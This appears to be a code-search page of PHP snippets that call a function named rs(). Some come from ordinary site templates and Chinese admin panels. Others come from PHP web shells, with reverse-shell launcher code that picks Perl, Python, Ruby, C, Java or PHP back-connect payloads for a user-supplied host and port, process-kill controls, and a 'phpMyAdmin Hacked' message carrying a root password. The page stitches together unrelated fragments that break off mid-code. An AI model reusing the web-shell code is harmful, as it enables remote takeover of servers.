Example #1
0
        <!-- FIN DIVS PARA BOTONES -->
    </div>
	<!-- FIN DIV PARA CABECERA FIJA -->    
</div>
<!--FIN DIV CAB AJUSTABLE -->
<img src="imagenes/linea-sup.jpg" width="100%" height="2" />
<!-- DIV CONTENIDO -->
<div class="cont-ppal">
   	<!--DIV TITULO PPAL -->
    <div class="titulo-ppal" align="center">
    </div>
  	<!-- FIN DIV TITULO PPAL -->
    <!--DIV FACE-TWIT -->
	<div style="float:right; margin-top:-35px;">
	    <?php 
echo rs();
?>
	
	</div>
	<!--FIN DIV FACE-TWIT -->
	<!-- DIV DERECHO -->
	<div class="cont-der" style="width:350px; margin-top:20px;" align="center">
	  <p class="titulo-ppal" style=" font-size:26px; line-height:24px; margin:0; text-align:center;"><u><?php 
echo idioma("contactenos");
?>
</u><img src="imagenes/flecha.png" width="40" height="40" vspace="5" align="top" /></p>
		<br />
        <!-- DIV DATOS CONTACTO -->
		<div class="cont-cajas" align="center">
			<img src="imagenes/petroglifo.png" width="73" height="100" vspace="10" style="float:left;" />
			<div class="titulo-trfs" style=" width:250px; float:right; font-size:26px; line-height:24px;  text-align:justify; margin-left:5px;"><?php 
Example #2
0
     $rstarget = $rsportb2 . "  " . $rstarget2;
     $rsres = rs($s_win, cp($d), "xback_py", $xmulti_py, $rstarget);
     $s_result .= $rsres;
 }
 if (isset($_REQUEST['xback_bin'])) {
     if (isset($_REQUEST['sqlportb3'])) {
         $rsportb3 = ss($_REQUEST['sqlportb3']);
     }
     if (isset($_REQUEST['rstarget3'])) {
         $rstarget3 = ss($_REQUEST['rstarget3']);
     }
     $rstarget = $rsportb3 . "  " . $rstarget3;
     if (!$s_win) {
         $rsres = rs($s_win, cp($d), "xback_bin", $xback_c, $rstarget);
     } else {
         $rsres = rs($s_win, cp($d), "xback_bin", $wmulti_c, $rstarget);
     }
     $s_result .= $rsres;
 }
 if (isset($_REQUEST['xback_php'])) {
     if (isset($_REQUEST['sqlportb4'])) {
         $rsportb4 = ss($_REQUEST['sqlportb4']);
     }
     if (isset($_REQUEST['rstarget4'])) {
         $rstarget4 = ss($_REQUEST['rstarget4']);
     }
     $ip = $rstarget4;
     $port = $rsportb4;
     $chunk_size = 1337;
     $write_a = null;
     $error_a = null;
                 $rstarget_packed = $rsport_ . " " . $rshost_;
             }
             if ($split[1] == "pl") {
                 $rscode = $rs_pl;
             } elseif ($split[1] == "py") {
                 $rscode = $rs_py;
             } elseif ($split[1] == "rb") {
                 $rscode = $rs_rb;
             } elseif ($split[1] == "c") {
                 $rscode = $rs_c;
             } elseif ($split[1] == "win") {
                 $rscode = $rs_win;
             } elseif ($split[1] == "php") {
                 $rscode = $rs_php;
             }
             $buff = rs($rstype, $rstarget_packed, $rscode);
             if ($buff != "") {
                 $rs_err = "<p class='notif'>" . hss($buff) . "</p>";
             }
         }
         $s_result .= "<div class='mybox'><h2>" . $rstitle . "</h2>\n\t\t\t<form action='" . $s_self . "rs' method='post' />\n\t\t\t<table class='myboxtbl'>\n\t\t\t<tr><td style='width:100px;'>" . $labelip . "</td><td><input " . $rsdisabled . " style='width:100%;' class='inputz' type='text' name='rshost_" . $rstype . "' value='" . $rstarget . "' /></td></tr>\n\t\t\t<tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_" . $rstype . "' value='" . $rsport . "' /></td></tr>\n\t\t\t</table>\n\t\t\t<input type='submit' name='" . $rstype . "' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />\n\t\t\t&nbsp;&nbsp;<span>" . $rspesan . "</span>\n\t\t\t</form>\n\t\t\t</div>";
     }
     $s_result = $rs_err . $s_result;
 } elseif (isset($_REQUEST['ps'])) {
     $buff = "";
     // kill process specified by pid
     if (isset($_REQUEST['pid'])) {
         $p = ss($_REQUEST['pid']);
         if (function_exists("posix_kill")) {
             $buff = posix_kill($p, '9') ? "Process with pid " . $p . " has been successfully killed" : "Unable to kill process with pid " . $p;
         } else {
Example #4
0
 function ar($entity, $table, $params = array(), $fields = array())
 {
     $model = array();
     $settings = array();
     $settings['entity'] = $entity;
     $settings['table'] = $table;
     $settings['relationships'] = rs($entity, $table);
     if (count($params) && Arrays::isAssoc($params)) {
         foreach ($params as $key => $value) {
             $settings[$key] = $value;
         }
     }
     $model['settings'] = $settings;
     if (count($fields) && Arrays::isAssoc($fields)) {
         $model['fields'] = $fields;
     }
     return new Activerecord($model);
 }
            echo $vo["id"];
            ?>
)"><?php 
            echo $vo["sort"];
            ?>
</span></td>
					  <td><?php 
            echo $vo["child_num"];
            ?>
</td>
					  <td><?php 
            echo $vo["info"];
            ?>
</td>
					  <td><?php 
            echo rs($vo["status"], '0#禁用#red@1#启用#blue');
            ?>
</td>
					  <td style="text-align:left;height:auto;">
						&nbsp;<a href="javascript:;"  onclick="edit('<?php 
            echo $vo["id"];
            ?>
')">编辑</a>&nbsp;
						&nbsp;<a href="/git/vshop/admin/index.php/Position/index/pid/<?php 
            echo $vo["id"];
            ?>
">子节点
						&nbsp;<a href="/git/vshop/admin/index.php/Position/substance/id/<?php 
            echo $vo["id"];
            ?>
" target="_balnk">内容查看</a>&nbsp;
Example #6
0
             } elseif ($s_split[1] == "py") {
                 $s_rscode = $s_rs_py;
             } elseif ($s_split[1] == "rb") {
                 $s_rscode = $s_rs_rb;
             } elseif ($s_split[1] == "js") {
                 $s_rscode = $s_rs_js;
             } elseif ($s_split[1] == "c") {
                 $s_rscode = $s_rs_c;
             } elseif ($s_split[1] == "java") {
                 $s_rscode = $s_rs_java;
             } elseif ($s_split[1] == "win") {
                 $s_rscode = $s_rs_win;
             } elseif ($s_split[1] == "php") {
                 $s_rscode = $s_rs_php;
             }
             $s_buff = rs($s_rstype, $s_rstarget_packed, $s_rscode);
             if ($s_buff != "") {
                 $s_rs_err = notif(hss($s_buff));
             }
         }
         $s_result .= "<div class='mybox'><h2>" . $s_rstitle . "</h2>\n\t\t\t<form action='" . $s_self . "' method='post' />\n\t\t\t<table class='myboxtbl'>\n\t\t\t<tr><td style='width:100px;'>" . $s_labelip . "</td><td><input " . $s_rsdisabled . " style='width:100%;' class='inputz' type='text' name='rshost_" . $s_rstype . "' value='" . hss($s_rstarget) . "' /></td></tr>\n\t\t\t<tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_" . $s_rstype . "' value='" . hss($s_rsport) . "' /></td></tr>\n\t\t\t</table>\n\t\t\t<input type='submit' name='" . $s_rstype . "' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />\n\t\t\t&nbsp;&nbsp;<span>" . $s_rspesan . "</span>\n\t\t\t<input type='hidden' name='x' value='rs' />\n\t\t\t</form>\n\t\t\t</div>";
     }
     $s_result = $s_rs_err . $s_result;
 } elseif (isset($_GP['x']) && $_GP['x'] == 'ps') {
     $s_buff = "";
     // kill process specified by pid
     if (isset($_GP['pid'])) {
         $s_p = trim($_GP['pid'], "|");
         $s_parr = explode("|", $s_p);
         foreach ($s_parr as $s_p) {
             if (function_exists("posix_kill")) {
             $go1 = @mysql_query($t1, $conn);
             if ($go1) {
                 echo '<center><br>Goodluck ... Lunix phpMyAdmin Hacked :: Now Wait Until Mysql Restart and Come back with USER: root & PASSWORD: piaster<br><br><br><p align="center"><a href="javascript: history.go(-1)">Back</a></p></center>';
                 echo "| |<a href=\"" . $php . "\">Home</a>";
             }
         }
     }
     exit;
     break;
 case isset($_REQUEST['vbsq']):
     vb_opt();
     exit;
     break;
 case oP == 6:
     //echo "<hr color= #993333>";
     rs('cmds', '120', '20', $st = 'readonly');
     if (wdll_chf()) {
         if (!$win) {
             echo wdll_cmdf('ls -la');
         } else {
             echo wdll_cmdf('dir');
         }
     } else {
         $dih = @opendir(path) or die("<br><b>Permision denied! Unable to open dir {$path}");
         wdll_updir($dih, path);
     }
     echo "</textarea>";
     break;
 default:
     echo "<font color = orange>\nHello <br>\nI hope you will find useful tool to perform your job properly<br>\nAlso heal myself if your use of it in harm to people <br>\nAlways remember<br>\nEasy Come Easy Go.<br>\nPiaster 2011 v1.6<br>\n";
     //---------------------------------
            }
            ?>
" ><td><input type="checkbox" name="key"	value="<?php 
            echo $user["id"];
            ?>
"></td><td><?php 
            echo $user["id"];
            ?>
</td><td><a href="javascript:edit('<?php 
            echo addslashes($user["id"]);
            ?>
')" style="color:blue"><?php 
            echo $user["account_nickname"];
            ?>
</a></td><td><?php 
            echo rs($user["status"], '0#待审核#red@1#审核通过');
            ?>
</td><td  style="text-align:left;height:auto;padding-left:8px;"> <?php 
            echo showStatus($user["status"], $user['id']);
            ?>
&nbsp;<a href="javascript:edit('<?php 
            echo $user["id"];
            ?>
')">编辑</a>&nbsp;</td></tr><?php 
        }
    }
} else {
    echo "";
}
?>
</table>
            ?>
</td>
					  <td><?php 
            echo rs($vo["is_pm"], '0#否@1#是#red');
            ?>
 【<a href="/git/vshop/admin/index.php/Product/prom_list/prom_id/<?php 
            echo $vo["id"];
            ?>
" target="_blank">查看</a>】 </td>
					  <td>
					  <?php 
            echo toDate($vo["create_time"], 'Y-m-d H#i#s');
            ?>
					  </td>
					  <td><?php 
            echo rs($vo["status"], '0#下架#red@1#上架#blue');
            ?>
</td>
					  <td style="text-align:left;height:auto;">
					  <?php 
            if ($vo["status"] == "1") {
                ?>
<a href="javascript:forbid(<?php 
                echo $vo["id"];
                ?>
)">下架</a>&nbsp;
					  <?php 
            } else {
                ?>
					  <a href="javascript:resume(<?php 
                echo $vo["id"];